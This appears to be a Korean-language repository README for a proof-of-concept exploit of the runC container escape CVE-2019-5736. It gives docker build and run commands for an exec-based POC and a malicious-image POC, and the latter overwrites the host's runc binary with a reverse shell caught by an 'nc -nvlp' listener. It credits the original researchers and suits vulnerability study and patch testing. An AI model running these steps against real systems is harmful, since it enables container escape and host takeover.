
runC 컨테이너 탈출 취약점(CVE-2019-5736)에 대한 개념 증명 악용으로, 악성 이미지 및 exec 명령을 통한 컨테이너 탈출을 시연합니다.
블로그 게시물: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
여기서 저는 이 익스플로잇의 원 개발자는 Twistlock Labs의 Yuval Avrahami임을 언급하고 싶습니다.
POC를 실행하면 호스트의 runC 바이너리가 덮어쓰여집니다.
POC 중 하나를 실행하기 전에 runC 바이너리(보통 /usr/sbin/runc에 있음)의 복사본을 만들어 두는 것이 좋습니다.
저장소를 클론하세요:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
문자열을 출력하는 간단한 프로그램으로 runc를 덮어씁니다.
exec POC 실행하기:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
로컬호스트:2345에 연결하는 간단한 리버스 셸 배시 스크립트로 runc를 덮어씁니다.
리버스 셸을 수신 대기하세요:
$ nc -nvlp 2345
다른 셸에서 악성 이미지 POC를 실행하세요:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5736") for an explanation of CVE-2019-5736 and the POCs.
The malicious image POC is heavily based on [q3k’s POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.